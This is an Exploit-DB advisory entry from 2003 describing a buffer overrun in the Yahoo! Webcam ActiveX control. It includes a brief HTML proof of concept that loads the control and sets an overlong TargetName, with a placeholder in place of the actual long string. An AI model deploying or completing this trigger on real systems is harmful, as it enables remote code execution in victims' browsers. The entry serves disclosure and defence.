Yahoo! Webcam ActiveX Control 2.0.0.107 - Buffer Overrun Vulnerability

2003-09-16T00:00:00
ID EDB-ID:23152
Type exploitdb
Reporter cesaro
Modified 2003-09-16T00:00:00

Description

Yahoo! Webcam ActiveX Control 2.0 .0.107 Buffer Overrun Vulnerability. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/8634/info

A buffer overrun has been discovered in the Yahoo! Webcam ActiveX control. The problem occurs due to insufficient bounds checking when handling user-supplied Webcam parameters. As a result, an attacker may be capable of hosting a malicious website designed to exploit this issue to execute arbitrary code, within the context of a victim users web browser. 


<object id="yahoowebcam"
classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" >
</object>
<script>
yahoowebcam.TargetName="longstringhere";
</script>